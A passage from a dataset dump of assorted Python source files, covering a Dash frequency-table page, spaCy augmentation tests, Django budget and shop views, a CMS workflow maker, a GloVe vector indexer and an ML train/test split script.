1.0])\n average_precision = metrics.average_precision_score(t, p)\n plt.title('W2V Multinomial NB Precision-Recall curve: AP={0:0.2f}'.format(average_precision))\n plt.savefig('data/w2v_MultinomialNB_precisionRecall.png')\n plt.show()\n","sub_path":"W2V_MultinomialNB.py","file_name":"W2V_MultinomialNB.py","file_ext":"py","file_size_in_byte":2166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"507387117","text":"import io\nimport flask\nimport pandas as pd\nfrom ast import literal_eval\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport dash_bootstrap_components as dbc\nfrom dash.exceptions import PreventUpdate\nfrom dash.dependencies import Input, Output, State\n\nfrom ... import app\nfrom ... import database as db\nfrom ..tables import frequency as table\nfrom ..config.macros import load_macros_json\n\n\n_toNone = lambda x: None if x in [None, ''] else x\n\n_card = html.Div([\n\n dbc.Row([\n\n dbc.Col(dbc.InputGroup([\n\n dbc.InputGroupAddon(\n \"Nome\", addon_type=\"prepend\", \n className='input-group-prepend-110'\n ),\n\n dbc.Input(id='in-check-freqs-name'),\n\n ]), xs=12, sm=12, md=8, lg=8, xl=8),\n\n dbc.Col(dbc.InputGroup([\n\n dbc.InputGroupAddon(\n \"Região\", addon_type=\"prepend\", \n className='input-group-prepend-110'\n ),\n \n dbc.Select(\n id='dd-check-freqs-region',\n options=load_macros_json('regiao', add_blank=True), \n )\n\n ]), className='breakColLine', xs=12, sm=12, md=4, lg=4, xl=4),\n \n ], className='breakRowLine'),\n\n])\n\n\nlayout = html.Div([\n\n html.H4('Consultar > Frequências'),\n html.Hr(),\n \n _card,\n\n # Buttons\n dbc.Button(\n id='check-freqs-bt-search', \n n_clicks=0, className='fas fa-search'\n ),\n dbc.Button(\n id='check-freqs-bt-clear',\n n_clicks=0, className='fas fa-eraser'\n ),\n html.A(\n dbc.Button(className='fas fa-file-excel'),\n id='check-freqs-bt-export',\n target='_blank', href=''\n ),\n\n # Buttons tooltips\n dbc.Tooltip(\n 'Buscar informações.', \n target='check-freqs-bt-search'\n ),\n dbc.Tooltip(\n 'Limpar filtros.', \n target='check-freqs-bt-clear'\n ),\n dbc.Tooltip(\n 'Exportar para excel.', \n target='check-freqs-bt-export'\n ),\n\n html.Hr(),\n\n dcc.Loading(\n table,\n color='#d52b1e',\n type='cube',\n ),\n\n])\n\n\n@app.callback([\n Output('table-freqs', 'data'), \n Output('check-freqs-bt-export', 'href')], [\n Input('check-freqs-bt-search', 'n_clicks')], [\n State('in-check-freqs-name', 'value'),\n State('dd-check-freqs-region', 'value'),\n])\ndef feed_table(n_clicks, name, reg):\n '''Feed frequency table based on its filters.'''\n\n if n_clicks == 0:\n raise PreventUpdate\n\n # Fix inputs\n reg = _toNone(reg)\n name = _toNone(name)\n\n # Read data form table\n df = db.corr.read_freqs(name, reg)\n\n # Add index to table\n df = df.reset_index()\n # Replace nan to None\n df = df.where((pd.notnull(df)), None)\n # DataFrame to dict\n data = df.to_dict('records')\n # Data to href (to export/download)\n href = '/download_excel/frequencias?value={}'.format(data)\n\n return data, href\n\n\n@app.callback([\n Output('in-check-freqs-name', 'value'),\n Output('dd-check-freqs-region', 'value')], [\n Input('check-freqs-bt-clear', 'n_clicks')\n])\ndef clear_filters(n_clicks):\n '''Clear filters.'''\n if n_clicks == 0:\n raise PreventUpdate\n\n else:\n return ('', None)\n\n\n@app.server.route('/download_excel/frequencias')\ndef export_frequency_table():\n '''Download table as excel file.'''\n\n # Read table\n value = flask.request.args.get('value')\n df = pd.DataFrame(literal_eval(value))\n\n # Convert DF\n strIO = io.BytesIO()\n excel_writer = pd.ExcelWriter(strIO, engine='xlsxwriter')\n df.to_excel(excel_writer, sheet_name='sheet1')\n excel_writer.save()\n excel_data = strIO.getvalue()\n strIO.seek(0)\n\n return flask.send_file(strIO,\n attachment_filename='frequencias.xlsx',\n as_attachment=True)\n ","sub_path":"app/layout/check/frequency.py","file_name":"frequency.py","file_ext":"py","file_size_in_byte":3815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"496450680","text":"from spacy.tokens import Doc\n\nimport augmenty\n\nfrom .fixtures import nlp_en, nlp_en_md # noqa\n\n\ndef test_create_ent_replace(nlp_en_md, nlp_en): # noqa F811\n doc = Doc(\n nlp_en.vocab,\n words=[\n \"Augmenty\",\n \"is\",\n \"a\",\n \"wonderful\",\n \"tool\",\n \"for\",\n \"augmentation\",\n \".\",\n ],\n spaces=[True] * 6 + [False] * 2,\n ents=[\"B-ORG\"] + [\"O\"] * 7,\n )\n\n ent_augmenter = augmenty.load(\n \"ents_replace_v1\",\n level=1.00,\n ent_dict={\"ORG\": [[\"SpaCy\"]]},\n )\n\n docs = list(augmenty.docs([doc], augmenter=ent_augmenter, nlp=nlp_en))\n\n assert docs[0].text == \"SpaCy is a wonderful tool for augmentation.\"\n\n ent_augmenter = augmenty.load(\n \"ents_replace_v1\",\n level=1.00,\n ent_dict={\"ORG\": [[\"The SpaCy Universe\"]]},\n )\n\n docs = list(augmenty.docs([doc], augmenter=ent_augmenter, nlp=nlp_en))\n\n assert docs[0].text == \"The SpaCy Universe is a wonderful tool for augmentation.\"\n\n ent_augmenter = augmenty.load(\n \"ents_replace_v1\",\n level=1.00,\n ent_dict={\"PERSON\": [[\"Kenneth\"], [\"Lasse\", \"Hansen\"]]},\n )\n\n doc = nlp_en_md(\"My name is Jack.\")\n docs = list(augmenty.docs([doc], augmenter=ent_augmenter, nlp=nlp_en_md))\n\n assert docs[0].text != \"My name is Jack.\"\n\n\ndef test_create_per_replace(nlp_en, nlp_en_md): # noqa F811\n doc = Doc(\n nlp_en.vocab,\n words=[\"My\", \"name\", \"is\", \"Kenneth\", \"Enevoldsen\"],\n spaces=[True, True, True, True, False],\n ents=[\"O\", \"O\", \"O\", \"B-PERSON\", \"I-PERSON\"],\n )\n names = {\"firstname\": [\"Lasse\"], \"lastname\": [\"Hansen\"]}\n\n patterns = [\n [\"firstname\"],\n [\"firstname\", \"lastname\"],\n [\"firstname\", \"firstname\", \"lastname\"],\n ]\n expected = [\n \"My name is Lasse\",\n \"My name is Lasse Hansen\",\n \"My name is Lasse Lasse Hansen\",\n ]\n\n for p, e in zip(patterns, expected):\n per_augmenter = augmenty.load(\n \"per_replace_v1\",\n level=1.00,\n names=names,\n patterns=[p],\n )\n\n docs = list(augmenty.docs([doc], augmenter=per_augmenter, nlp=nlp_en))\n\n assert docs[0].text == e\n\n per_augmenter = augmenty.load(\n \"per_replace_v1\",\n level=1.00,\n names={\n \"firstname\": [\"Charles\", \"Jens\"],\n \"lastname\": [\"Kirkegaard\", \"Andersen\"],\n },\n patterns=[p],\n )\n text = \"My name is Charlie.\"\n doc = nlp_en_md(text)\n docs = list(augmenty.docs([doc], augmenter=per_augmenter, nlp=nlp_en_md))\n assert docs[0] != text\n\n\ndef test_create_ent_format_augmenter(nlp_en_md): # noqa F811\n abbreviate = lambda token: token.text[0] + \".\" # noqa: E731\n\n augmenter = augmenty.load(\n \"ents_format_v1\",\n reordering=[-1, None],\n formatter=[None, abbreviate],\n level=1.00,\n )\n texts = [\"my name is Kenneth Enevoldsen\"]\n aug_text = \"my name is Enevoldsen K.\"\n\n aug_texts = list(augmenty.texts(texts, augmenter, nlp_en_md))\n assert aug_texts[0] == aug_text\n","sub_path":"tests/test_spans.py","file_name":"test_spans.py","file_ext":"py","file_size_in_byte":3144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"242527815","text":"# 1935.py\n# 2018.06.14\n\nn = int(input())\nstack = []\nfor c in input():\n\tif c.isalpha():\n\t\tstack.append(c)\n\telse:\n\t\tb, a = stack.pop(), stack.pop()\n\t\tstack.append('('+a+c+b+')')\n\t\t\nformula = stack.pop()\np = [int(input()) for _ in range(n)]\nfor i in range(65, 65+n):\n\tformula = formula.replace(chr(i), f'{p[i-65]}')\nprint('%.2f' % eval(formula))\n\n# 후위 표기법을 순차적으로 탐색하면서 피연산자는 스택에 저장하고, 연산자가 나오면 스택에서 피연산자 2개를 pop하여 연산한다.\n# 이때 괄호로 묶는다.\n","sub_path":"1000/1935.py","file_name":"1935.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"559491719","text":"from django.contrib.auth.decorators import login_required\nfrom django.core.urlresolvers import reverse\nfrom django.db import transaction\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import get_object_or_404\nfrom django.shortcuts import render_to_response\nfrom django.utils.safestring import mark_safe\n\nfrom budget.models import Account\nfrom budget.models import AccountBalance\nfrom budget.models import Category\nfrom budget.models import CategoryBalance\nfrom budget.models import Location\nfrom budget.models import Month\nfrom budget.models import RecurringTransaction\nfrom budget.models import Subcategory\nfrom budget.models import Year\nfrom budget.settings import template_base\nfrom budget.views.general import add_url_to_context\nfrom budget.views.general import base_context\n\nfrom collections import namedtuple\nfrom datetime import date\nimport json\n\n@login_required\ndef main(request, year, month):\n context = base_context(request)\n m = Month.get_month(year, month)\n if m.monthlybalances.finalized:\n context['finalize'] = 'Re-finalize'\n else:\n context['finalize'] = 'Finalize'\n today = date.today()\n if int(year) < today.year:\n context['can_finalize'] = True\n elif int(year) == today.year and int(month) < today.month:\n context['can_finalize'] = True\n else:\n context['can_finalize'] = False\n context['month'] = month\n context['year'] = year\n context['month_id'] = m.id\n context['last_balanced'] = request.user.finances.last_balanced\n context['balances'] = m.monthlybalances\n context['recurring_transactions'] = RecurringTransaction.objects.all()\n add_json_variables_to_context(context)\n add_urls_to_context(context)\n balance = 0\n balance_pending = 0\n context['accounts'] = []\n prev_month = m.previous()\n prev_balance = 0\n for a in Account.objects.all():\n account = namedtuple('Account', ['id', 'name'])\n context['accounts'].append(account(a.id, a.name))\n balance += a.monthly_balance(m)\n balance_pending += a.monthly_balance(m, True)\n prev_balance += a.monthly_balance(prev_month, True)\n context['current_balance'] = balance\n context['pending_balance'] = balance_pending\n category_template = namedtuple('CategoryTemplate',\n ['name', 'id', 'income', 'budget', 'balance', 'remaining',\n 'budget_width', 'remaining_width', 'subcategories'])\n context['income_categories'] = []\n context['mandatory_categories'] = []\n context['expense_categories'] = []\n context['investment_categories'] = []\n context['total_income'] = 0\n context['total_mandatory'] = 0\n context['total_expenses'] = 0\n context['total_investments'] = 0\n context['net_income'] = 0\n context['previous_balance'] = prev_balance\n context['budgeted_balance'] = (prev_balance +\n m.monthlybalances.budgeted_income -\n m.monthlybalances.budgeted_mandatory -\n m.monthlybalances.budgeted_expense -\n m.monthlybalances.budgeted_investments)\n for c in Category.objects.all():\n # Categories are set up such that their balance is what is _spent_ (to\n # make account balances and transactions easier), but budgets are\n # always _positive_. That means that income categories have to have\n # their balance flipped to have it match the budget.\n subcategories = _render_subcategories(c, m)\n budget = c.monthly_budget(m)\n balance = c.monthly_balance(m)\n if c.type == 'I':\n balance *= -1\n remaining = budget - balance\n if c.type == 'I':\n context['total_income'] += balance\n context['net_income'] += balance\n elif c.type == 'M':\n context['total_mandatory'] += balance\n context['net_income'] -= balance\n elif c.type == 'E':\n context['total_expenses'] += balance\n context['net_income'] -= balance\n elif c.type == 'V':\n context['total_investments'] += balance\n else:\n raise ValueError(\"not sure how I got here\")\n budget_width = 100*float(balance) / float(budget) if budget != 0 else 0\n if remaining < 0:\n budget_width = 100\n if budget_width > 100:\n budget_width = 100\n remaining_width = 100 - budget_width\n cat_template = category_template(\n c.name,\n c.id,\n c.type == 'I',\n budget,\n balance,\n remaining,\n budget_width,\n remaining_width,\n subcategories\n )\n if c.type == 'I':\n context['income_categories'].append(cat_template)\n elif c.type == 'M':\n context['mandatory_categories'].append(cat_template)\n elif c.type == 'E':\n context['expense_categories'].append(cat_template)\n elif c.type == 'V':\n context['investment_categories'].append(cat_template)\n else:\n raise ValueError(\"not sure how I got here\")\n context['categories'] = (\n context['income_categories'] + context['mandatory_categories'] +\n context['expense_categories'] + context['investment_categories']\n )\n location_template = namedtuple('LocationTemplate',\n ['id', 'name', 'total_spent'])\n context['locations'] = []\n # TODO(matt): This is a lot of DB lookups, and should be pushed into an\n # AJAX request - it's not really looked at very much, and shouldn't be\n # allowed to slow down the initial page load.\n for l in Location.objects.all():\n if l.total_spent_in_month(m) > 0:\n context['locations'].append(location_template(l.id, l.name,\n l.total_spent_in_month(m)))\n return render_to_response(template_base + 'month.html', context)\n\n\n@login_required\ndef location(request, year=None, month=None, location_id=None):\n context = base_context(request)\n location = get_object_or_404(Location, pk=location_id)\n if month:\n m = Month.get_month(year, month)\n transaction_set = location.transaction_set_for_month(m)\n elif year:\n y = get_object_or_404(Year, year=year)\n transaction_set = location.transaction_set_for_year(y)\n else:\n transaction_set = location.transaction_set.all()\n context['transactions'] = []\n TransactionTemplate = namedtuple('TransactionTemplate',\n ['date', 'amount', 'account', 'description'])\n for t in transaction_set:\n amount = t.amount\n if not t.is_debit():\n amount = -1 * amount\n context['transactions'].append(TransactionTemplate(\n t.date,\n amount,\n t.account.name,\n t.get_description(),\n ))\n context['location_id'] = location_id\n context['name'] = location.name\n context['total_spent'] = location.transaction_total(transaction_set)\n return render_to_response(template_base + 'location.html', context)\n\n\n@login_required\n@transaction.atomic\ndef finalize_month(request, year, month):\n m = Month.get_month(year, month)\n total_income = 0\n total_investments = 0\n total_expense = 0\n total_mandatory = 0\n final_balance = 0\n for a in Account.objects.all():\n balance = a.monthly_balance(m, recalculate=True)\n try:\n account_balance = AccountBalance.objects.get(account=a, month=m)\n account_balance.balance = balance\n except AccountBalance.DoesNotExist:\n account_balance = AccountBalance(account=a, month=m,\n balance=balance)\n account_balance.save()\n final_balance += balance\n for c in Subcategory.objects.all():\n balance = c.monthly_balance(m)\n try:\n cat_balance = CategoryBalance.objects.get(subcategory=c, month=m)\n cat_balance.amount = balance\n except CategoryBalance.DoesNotExist:\n cat_balance = CategoryBalance(subcategory=c, month=m,\n amount=balance)\n cat_balance.save()\n if c.category.type == 'I':\n total_income -= balance\n elif c.category.type == 'E':\n total_expense += balance\n elif c.category.type == 'V':\n total_investments += balance\n elif c.category.type == 'M':\n total_mandatory += balance\n balances = m.monthlybalances\n balances.total_income = total_income\n balances.total_investments = total_investments\n balances.total_expense = total_expense\n balances.total_mandatory = total_mandatory\n balances.final_balance = final_balance\n balances.finalized = True\n balances.save()\n redirect = reverse('budget-month', kwargs={'year': year, 'month': month})\n return HttpResponseRedirect(redirect)\n\n\ndef _render_subcategories(category, month):\n \"\"\"Return a set of subcategories suitable for rendering\"\"\"\n subcat_template = namedtuple('SubcatTemplate',\n ['name', 'id', 'budget', 'balance', 'remaining', 'budget_width',\n 'remaining_width'])\n subcategories = []\n for subcat in category.subcategory_set.all():\n budget = subcat.monthly_budget(month)\n balance = subcat.monthly_balance(month)\n if category.type == 'I':\n balance *= -1\n remaining = budget - balance\n budget_width = 100*float(balance) / float(budget) if budget != 0 else 0\n if remaining < 0:\n budget_width = 100\n if budget_width > 100:\n budget_width = 100\n remaining_width = 100 - budget_width\n subcategories.append(subcat_template(\n subcat.name,\n subcat.id,\n budget,\n balance,\n remaining,\n budget_width,\n remaining_width,\n ))\n return subcategories\n\n\ndef add_json_variables_to_context(context):\n context['account_names_json'] = mark_safe(\n json.dumps([a.name for a in Account.objects.all()]))\n context['location_names_json'] = mark_safe(\n json.dumps([l.name for l in Location.objects.all()]))\n context['subcat_names_json'] = mark_safe(\n json.dumps([s.name for s in Subcategory.objects.all()]))\n\n\ndef add_urls_to_context(context):\n add_url_to_context(context, 'edit_budget',\n reverse('budget-ajax-edit-budget'))\n add_url_to_context(context, 'month_account',\n reverse('budget-ajax-month-account'))\n add_url_to_context(context, 'update_pending',\n reverse('budget-ajax-update-pending'))\n add_url_to_context(context, 'edit_transaction_date',\n reverse('budget-ajax-edit-transaction-date'))\n add_url_to_context(context, 'edit_transaction_location',\n reverse('budget-ajax-edit-transaction-location'))\n add_url_to_context(context, 'get_location_selector',\n reverse('budget-ajax-get-location-selector'))\n add_url_to_context(context, 'add_location',\n reverse('budget-ajax-add-location'))\n add_url_to_context(context, 'add_transaction',\n reverse('budget-ajax-add-transaction'))\n add_url_to_context(context, 'add_transaction_form',\n reverse('budget-ajax-add-transaction-form'))\n add_url_to_context(context, 'subcategory_transactions',\n reverse('budget-ajax-view-subcategory-transactions'))\n add_url_to_context(context, 'create_recurring_transaction',\n reverse('budget-ajax-create-recurring-transaction'))\n add_url_to_context(context, 'get_recurring_transaction',\n reverse('budget-ajax-get-recurring-transaction'))\n add_url_to_context(context, 'save_recurring_transaction',\n reverse('budget-ajax-save-recurring-transaction'))\n add_url_to_context(context, 'apply_recurring_transaction_to_date',\n reverse('budget-ajax-apply-recurring-transaction'))\n\n\n# vim: et sw=4 sts=4\n","sub_path":"budget/views/month.py","file_name":"month.py","file_ext":"py","file_size_in_byte":11963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"184530524","text":"#!/usr/bin/env python\n\"\"\"\n_Tier0WorkflowMaker_\n\nObject that can be used to construct a tier 0 workflow spec and manipulate it\nto add details\n\n\n!!!!!!!!!!!!!!!!!!NOTE!!!!!!!!!!!!!!!!!\n\nFast first pass, good only for conversion for global data taking\nNeeds refinement...\n\n\"\"\"\n\n\nimport time\nimport os\n\nfrom ProdCommon.MCPayloads.WorkflowMaker import WorkflowMaker, WorkflowMakerError\n\nimport ProdCommon.MCPayloads.DatasetConventions as DatasetConventions\nimport ProdCommon.MCPayloads.WorkflowTools as WorkflowTools\nfrom ProdCommon.MCPayloads.LFNAlgorithm import unmergedLFNBase, mergedLFNBase\n\n\n\n\n \n\n\nclass Tier0WorkflowMaker(WorkflowMaker):\n \"\"\"\n _Tier0WorkflowMaker_\n\n Specialisation of basic MC workflow maker for Tier 0 data handling.\n \n \"\"\"\n def __init__(self, requestId, channel, label):\n WorkflowMaker.__init__(self, requestId, channel, label)\n self.unmergedDataset = False\n self.runNumber = None\n\n def makeUnmergedDataset(self):\n \"\"\"\n _makeUnmergedDataset_\n\n Call this method if you want to make unmerged datasets.\n Default is to not make unmerged datasets\n\n \"\"\"\n self.unmergedDataset = True\n\n\n\n def setRunNumber(self, runNumber):\n \"\"\"\n _setRunNumber_\n\n Temp hack used to generate LFNs for conversion\n\n \"\"\"\n self.runNumber = runNumber\n\n\n def makeWorkflow(self):\n \"\"\"\n _makeWorkflow_\n\n Call this method to create the workflow spec instance when\n done\n\n \"\"\"\n self._Validate()\n\n # //\n # // Input Dataset required for Tier0\n #//\n \n inputDataset = self.cmsRunNode.addInputDataset(\n self.inputDataset['Primary'],\n self.inputDataset['Processed']\n )\n inputDataset[\"DataTier\"] = self.inputDataset['DataTier']\n for keyname in [\n 'SplitType',\n 'SplitSize',\n 'OnlySites',\n 'OnlyBlocks',\n 'OnlyClosedBlocks',\n ]:\n if self.inputDataset[keyname] != None:\n self.workflow.parameters[keyname] = self.inputDataset[keyname]\n \n \n # //\n # // Extract dataset info from cfg\n #//\n for outModName in self.configuration.outputModules.keys():\n moduleInstance = self.configuration.getOutputModule(outModName)\n # //\n # // Data Tier same as input\n #//\n dataTier = self.inputDataset['DataTier']\n # //\n # // Output primary dataset same as input primary\n #//\n primaryName = self.inputDataset['Primary']\n\n # //\n # // Output processed dataset\n #// (Note we pass way more info than is used, since\n # //conventions have a tendency to change in CMS...\n # //\n #//\n processedName = DatasetConventions.tier0ProcessedDatasetName(\n Version = self.cmsswVersion,\n InputPrimaryDataset = self.inputDataset['Primary'],\n InputProcessedDataset = self.inputDataset['Processed'],\n Label = self.label,\n Group = self.group,\n RequestId = self.requestId,\n Unmerged = self.unmergedDataset\n )\n \n dataTier = DatasetConventions.checkDataTier(dataTier)\n \n moduleInstance['primaryDataset'] = primaryName\n moduleInstance['processedDataset'] = processedName\n\n outDS = self.cmsRunNode.addOutputDataset(primaryName, \n processedName,\n outModName)\n \n outDS['DataTier'] = dataTier\n outDS[\"ApplicationName\"] = \\\n self.cmsRunNode.application[\"Executable\"]\n outDS[\"ApplicationFamily\"] = outModName\n outDS[\"PhysicsGroup\"] = self.group\n outDS[\"ApplicationFamily\"] = outModName\n\n\n if self.inputDataset['IsUsed']:\n outDS['ParentDataset'] = self.inputDataset['DatasetName']\n \n if self.options['FakeHash']:\n guid = makeUUID()\n outDS['PSetHash'] = \"hash=%s;guid=%s\" % (self.psetHash,\n guid)\n else:\n outDS['PSetHash'] = self.psetHash\n\n \n # //\n # // Add Stage Out node\n #//\n WorkflowTools.addStageOutNode(self.cmsRunNode, \"stageOut1\")\n WorkflowTools.addLogArchNode(self.cmsRunNode, \"logArchive\")\n\n # //\n # // generate tier0 LFN bases for this workflow\n #//\n tier0LFN = self.makeTier0LFN()\n\n self.workflow.parameters['MergedLFNBase'] = tier0LFN\n self.workflow.parameters['UnmergedLFNBase'] = tier0LFN\n \n return self.workflow\n\n\n def makeTier0LFN(self):\n \"\"\"\n _makeTier0LFN_\n\n Generate an LFN for this workflow\n \n \"\"\"\n # //\n # // Remove stream name from primary dataset name\n #//\n primaryDataset = self.inputDataset['Primary']\n primaryDatasetElements = primaryDataset.rsplit(\"-\",1)\n if ( len(primaryDatasetElements) > 1 ):\n datasetName = primaryDatasetElements[0]\n streamName = primaryDatasetElements[1]\n lfn = \"/store/data/%s\" % datasetName\n lfn += \"/%s\" % streamName\n else:\n lfn = \"/store/data/%s\" % primaryDataset\n\n runString = str(self.runNumber).zfill(9)\n runFragment = \"/%s/%s/%s\" % (runString[0:3],\n runString[3:6],\n runString[6:9])\n lfn += runFragment\n lfn += \"/\"\n return lfn\n \n\n def _Validate(self):\n \"\"\"\n _Validate_\n\n Private method to test all options are set.\n\n Throws a WorkflowMakerError if any problems found\n\n \"\"\"\n WorkflowMaker._Validate(self)\n\n if self.runNumber == None:\n msg = \"runNumber Attribute Not Set\"\n raise WorkflowMakerError(msg)\n \n \n\n return\n\n","sub_path":"limitsetting/theta/analysis_wprimeR_allhad_limits/res/ProdCommon/MCPayloads/Tier0WorkflowMaker.py","file_name":"Tier0WorkflowMaker.py","file_ext":"py","file_size_in_byte":6282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"178904617","text":"#! /usr/bin/python\nimport os\n\nfv = open('outputFV', 'rb')\nfvMalware = open('outputFV-Malware', 'rb')\ntest = open('Test.csv', 'wb')\ntrain = open('Train.csv', 'wb')\npredict = open('Predict.csv', 'wb')\n\ncnt = 0\nfor line in fv:\n #print line\n cnt = cnt + 1\n if cnt <= 2500:\n test.write(line)\n elif cnt <= 10000:\n train.write(line)\n else:\n predict.write(line)\n\ncnt = 0\nfor line in fvMalware:\n cnt = cnt + 1\n if cnt <= 80:\n test.write(line)\n elif cnt <= 370:\n train.write(line)\n else:\n predict.write(line)\n\nfv.close()\nfvMalware.close()\ntest.close()\ntrain.close()\n\n","sub_path":"src/separateTestAndTrainingSamples.py","file_name":"separateTestAndTrainingSamples.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"619588892","text":"import argparse\nimport json\nimport struct\nfrom pathlib import Path\n\nimport numpy as np\nfrom tqdm import tqdm\n\n\nclass PretrainedVector:\n \"\"\"A dict like obj for pretrained vectors\"\"\"\n\n def __init__(self, wv_dir):\n wv_index_path = Path(wv_dir, \"pretrained_wv.index.json\")\n wv_path = Path(wv_dir, \"pretrained_wv.vec.dat\")\n self.index_table = None\n self.wv_dict = None\n with open(wv_index_path, \"r\", encoding=\"utf8\") as f:\n self.index_table = json.load(f)\n self.wv_dict = open(wv_path, \"rb\")\n\n def __del__(self):\n self.wv_dict.close()\n\n def __contains__(self, item: str):\n return item in self.index_table\n\n def __getitem__(self, item: str):\n index = self.index_table.get(item)\n if index is None:\n raise KeyError(\"No such key in index table.\")\n else:\n self.wv_dict.seek(4*300*index, 0)\n vec = struct.unpack(\"f\"*300, self.wv_dict.read(1200))\n return np.array(vec)\n\n def get(self, item: str, default=None):\n try:\n value = self[item]\n except KeyError:\n return default\n else:\n return value\n\n\ndef extract(vector_file: str, output_dir: str):\n index_data = {}\n\n Path(output_dir).mkdir(parents=True, exist_ok=True)\n output_index_file = Path(output_dir, \"pretrained_wv.index.json\")\n output_vecdata_file = Path(output_dir, \"pretrained_wv.vec.dat\")\n\n with open(vector_file, \"r\", encoding=\"utf8\") as in_f:\n with output_vecdata_file.open(\"wb\") as out_f:\n cur_i = 0\n for line in tqdm(in_f):\n line = line.strip(\"\\n\").split(\" \")\n if len(line) != 301:\n print(line[0])\n continue\n\n index_data[line[0]] = cur_i\n out_f.write(struct.pack(\"f\"*300, *list(map(float, line[1:]))))\n cur_i += 1\n\n with output_index_file.open(\"w\", encoding=\"utf8\") as f:\n json.dump(index_data, f, ensure_ascii=False)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"vector_file\")\n parser.add_argument(\"output_dir\")\n\n args = parser.parse_args()\n extract(args.vector_file, args.output_dir)\n","sub_path":"hotspot/glove_vec.py","file_name":"glove_vec.py","file_ext":"py","file_size_in_byte":2260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"569910108","text":"from django.shortcuts import render, HttpResponseRedirect\nfrom . models import Contact, Orders, Product\nfrom math import ceil\nfrom .forms import SignUpform\nfrom django.contrib.auth.forms import AuthenticationForm\nfrom django.contrib.auth import authenticate, login, logout\n\ndef index(request):\n if request.user.is_authenticated:\n allProds = []\n catprods = Product.objects.values('category', 'id')\n cats = {item['category'] for item in catprods}\n for cat in cats:\n prod = Product.objects.filter(category=cat)\n n = len(prod)\n nSlides = (n // 4 + ceil((n / 4) - (n // 4))) + 1\n allProds.append([prod, range(1, nSlides), nSlides])\n params = {'allProds':allProds}\n return render(request, 'shop/index.html', params)\n else:\n return HttpResponseRedirect('/shop/login/')\n\ndef about(request):\n if request.user.is_authenticated:\n \n return render(request,'shop/about.html',{})\n else:\n return HttpResponseRedirect('/shop/login/')\n \n\ndef contact(request):\n if request.user.is_authenticated:\n if request.method=='POST':\n name = request.POST.get('name','')\n email = request.POST.get('email','')\n title = request.POST.get('title','')\n msg = request.POST.get('msg','')\n contact = Contact(name=name, email=email, title=title, msg=msg)\n contact.save()\n return render(request,'shop/contact.html',{})\n else:\n return HttpResponseRedirect('/shop/login/')\n\ndef tracker(request):\n if request.user.is_authenticated:\n return render(request,'shop/tracker.html',{})\n else:\n return HttpResponseRedirect('/shop/login/')\n\ndef searchMatch(query, item):\n if query in item.product_desc.lower() or query in item.product_name.lower() or query in item.category.lower():\n return True\n else:\n return False\n\ndef search(request):\n if request.user.is_authenticated:\n query = request.GET.get('search')\n allProds = []\n catprods = Product.objects.values('category', 'id')\n cats = {item['category'] for item in catprods}\n for cat in cats:\n prodtemp = Product.objects.filter(category=cat)\n prod = [item for item in prodtemp if searchMatch(query, item)]\n\n n = len(prod)\n nSlides = n // 4 + ceil((n / 4) - (n // 4))\n if len(prod) != 0:\n allProds.append([prod, range(1, nSlides), nSlides])\n params = {'allProds': allProds, \"msg\": \"\"}\n if len(allProds) == 0:\n params = {'msg': \"Search item is not found...\"}\n return render(request, 'shop/search.html', params)\n else:\n return HttpResponseRedirect('/shop/login/')\n\n\ndef productview(request,myid):\n if request.user.is_authenticated:\n product = Product.objects.filter(id=myid)\n return render(request,'shop/productview.html',{'product':product[0]})\n else:\n return HttpResponseRedirect('/shop/login/')\n\ndef checkout(request):\n if request.user.is_authenticated:\n if request.method=='POST':\n items_json = request.POST.get('itemJson','')\n name = request.POST.get('name','')\n phone = request.POST.get('phone','')\n email = request.POST.get('email','')\n address = request.POST.get('address1','') + request.POST.get('address2','')\n city = request.POST.get('city','')\n state = request.POST.get('state','')\n zip_code = request.POST.get('zip_code','')\n order = Orders(items_json=items_json, name=name, phone=phone, email=email, address=address, city=city, state=state, zip_code=zip_code)\n order.save()\n thank=True\n id= order.order_id\n return render(request,'shop/checkout.html',{'thank':thank, 'id':id })\n return render(request,'shop/checkout.html',{})\n else:\n return HttpResponseRedirect('/shop/login/')\n\ndef signup(request):\n if request.method=='POST':\n fm = SignUpform(request.POST)\n if fm.is_valid():\n fm.save()\n else:\n fm = SignUpform()\n return render(request,'shop/signup.html',{'form' : fm})\n\ndef u_login(request):\n if request.method=='POST':\n fm = AuthenticationForm(request=request, data=request.POST)\n if fm.is_valid():\n uname = fm.cleaned_data['username']\n upass = fm.cleaned_data['password']\n user = authenticate(username=uname, password=upass)\n if user is not None:\n login(request, user)\n return HttpResponseRedirect('/shop/')\n else:\n fm = AuthenticationForm()\n return render(request,'shop/login.html',{'form' : fm})\n\ndef u_logout(request):\n logout(request)\n return HttpResponseRedirect('/shop/login/')\n\ndef guest(request):\n allProds = []\n catprods = Product.objects.values('category', 'id')\n cats = {item['category'] for item in catprods}\n for cat in cats:\n prod = Product.objects.filter(category=cat)\n n = len(prod)\n nSlides = (n // 4 + ceil((n / 4) - (n // 4))) + 1\n allProds.append([prod, range(1, nSlides), nSlides])\n params = {'allProds':allProds}\n return render(request, 'shop/guest.html', params)\n\ndef gabout(request):\n return render(request,'shop/gabout.html',{})\n\ndef gcontact(request):\n if request.method=='POST':\n name = request.POST.get('name','')\n email = request.POST.get('email','')\n title = request.POST.get('title','')\n msg = request.POST.get('msg','')\n contact = Contact(name=name, email=email, title=title, msg=msg)\n contact.save()\n return render(request,'shop/gcontact.html',{})\n\ndef gproductview(request,myid):\n product = Product.objects.filter(id=myid)\n return 